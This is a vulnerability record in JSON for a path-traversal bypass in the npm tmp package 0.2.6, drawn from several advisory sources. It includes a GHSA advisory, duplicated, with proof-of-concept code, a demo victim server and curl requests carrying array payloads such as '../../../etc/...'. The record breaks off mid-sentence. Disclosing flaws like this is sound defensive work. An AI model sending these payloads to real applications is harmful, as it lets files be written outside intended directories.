{"id":"CVE-2026-49982","aliases":["CLSA-2026-1793207018","CLSA-2026-1793207046","CLSA-2026-1793209315","EUVD-2026-36265","GHSA-7c78-jf6q-g5cm","ROOT-APP-NPM-CVE-2026-49982","UBUNTU-CVE-2026-49982"],"status":"published","title":"tmp: Type-confusion bypass of _assertPath in tmp@0.2.6 allows path traversal via non-string prefix/postfix/template","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00496,"percentile":0.43003,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-22"],"published":"2026-06-11T15:45:00Z","modified":"2026-10-28T19:45:12Z","fixes":[{"ecosystem":"npm","package":"tmp","fixed_in":["0.2.7"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"tmp","fixed_in":["0.2.6-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tmp","fixed_in":["0.2.6-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"tmp","fixed_in":["0.2.6-aikido.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.6"},{"fixed":"0.2.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.5-tuxcare.0"},{"fixed":"0.2.5-tuxcare.1"}]}],"versions":["0.2.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.6-tuxcare.0"},{"fixed":"0.2.6-tuxcare.1"}]}],"versions":["0.2.6"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.4-tuxcare.0"},{"fixed":"0.2.4-tuxcare.1"}]}],"versions":["0.2.4"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"tmp","ranges":[{"type":"SEMVER","events":[{"introduced":"0.2.6"},{"fixed":"0.2.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.6-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.25-1","0.0.28-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.31-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.33+dfsg-2","0.1.0+dfsg-2","0.1.0+dfsg-3","0.1.0+dfsg-6"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.1+dfsg-1","0.2.1+dfsg-2","0.2.1+dfsg+~0.2.2-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1","0.2.2+dfsg+~0.2.3-1.1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.5+dfsg+~0.2.6-2","0.2.7+dfsg+~0.2.6-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tmp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.2.2+dfsg+~0.2.3-1.1","0.2.5+dfsg+~0.2.6-1","0.2.5+dfsg+~0.2.6-2"]}],"products":[{"vendor":"raszi","product":"node-tmp"},{"vendor":"raszi","product":"tmp"}],"references":[{"url":"https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49982","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7c78-jf6q-g5cm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49982.json","tags":["advisory"]},{"url":"https://github.com/raszi/node-tmp","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-49982","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49982","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-49982","title":"tmp: Type-confusion bypass of _assertPath in tmp@0.2.6 allows path traversal via non-string prefix/postfix/template","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","status":"published","published":"2026-06-11T15:45:00.685Z","modified":"2026-06-11T18:24:22.459Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T13:35:10.963527Z"}],"euvd":[{"id":"EUVD-2026-36265","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","status":"published","published":"2026-06-11T15:45:00Z","modified":"2026-06-11T18:24:22Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T18:20:44.061211Z"}],"ghsa":[{"id":"GHSA-7c78-jf6q-g5cm","title":"tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template","description":"### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` \u003e= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : 'tmp',\n  '-',\n  process.pid,\n  '-',\n  _randomChars(12),\n  opts.postfix ? '-' + opts.postfix : ''\n].join('');\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['../escape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () =\u003e false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=../escape` into `['../escape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\n\nconsole.log('[negative control] string \"../escape\" - must be blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });\n  console.log('  UNEXPECTED, file at:', r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED as expected:', e.message);\n}\n\nconsole.log('\\n[bypass] array [\"../escape\"] - same effective value, not blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n\nconsole.log('\\n[bypass] duck-typed object {toString, includes} - also not blocked');\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () =\u003e '../escape', includes: () =\u003e false }\n  });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc \u0026\u0026 cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require('express');\nconst tmp = require('tmp');\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');\nconsole.log('[victim] Tenant base dir:', TENANT_BASE);\n\napp.post('/upload', (req, res) =\u003e {\n  const userPrefix = req.body.prefix;  // attacker-controlled\n  console.log('[victim] received prefix:', JSON.stringify(userPrefix),\n              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) =\u003e {\n    if (err) {\n      console.log('[victim] tmp error:', err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, 'attacker-controlled-content');\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () =\u003e console.log('[victim] http://127.0.0.1:3000'));\n```\n\nRun:\n\n```bash\nnode victim-server.js \u0026\n```\n\nDrive three requests from another shell:\n\n```bash\necho '=== ATTACK 1: string prefix - caught by 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":\"../escape-string\"}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../escape-array\"]}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 3: multi-level traversal toward /etc ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}' http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes('..')` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  */\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== 'string') {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-06-15T16:36:46Z","modified":"2026-06-15T16:36:47Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-49982","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","status":"published","published":"2026-06-11T17:16:35.227Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T14:12:23.485267Z"}],"osv":[{"id":"CVE-2026-49982","title":"tmp: Type-confusion bypass of _assertPath in tmp@0.2.6 allows path traversal via non-string prefix/postfix/template","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","status":"published","published":"2026-06-11T15:45:00.685Z","modified":"2026-10-28T02:30:56.251532656Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"GHSA-7c78-jf6q-g5cm","title":"tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template","description":"### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` \u003e= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : 'tmp',\n  '-',\n  process.pid,\n  '-',\n  _randomChars(12),\n  opts.postfix ? '-' + opts.postfix : ''\n].join('');\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['../escape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () =\u003e false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=../escape` into `['../escape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\n\nconsole.log('[negative control] string \"../escape\" - must be blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });\n  console.log('  UNEXPECTED, file at:', r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED as expected:', e.message);\n}\n\nconsole.log('\\n[bypass] array [\"../escape\"] - same effective value, not blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n\nconsole.log('\\n[bypass] duck-typed object {toString, includes} - also not blocked');\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () =\u003e '../escape', includes: () =\u003e false }\n  });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc \u0026\u0026 cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require('express');\nconst tmp = require('tmp');\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');\nconsole.log('[victim] Tenant base dir:', TENANT_BASE);\n\napp.post('/upload', (req, res) =\u003e {\n  const userPrefix = req.body.prefix;  // attacker-controlled\n  console.log('[victim] received prefix:', JSON.stringify(userPrefix),\n              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) =\u003e {\n    if (err) {\n      console.log('[victim] tmp error:', err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, 'attacker-controlled-content');\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () =\u003e console.log('[victim] http://127.0.0.1:3000'));\n```\n\nRun:\n\n```bash\nnode victim-server.js \u0026\n```\n\nDrive three requests from another shell:\n\n```bash\necho '=== ATTACK 1: string prefix - caught by 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":\"../escape-string\"}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../escape-array\"]}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 3: multi-level traversal toward /etc ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}' http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not 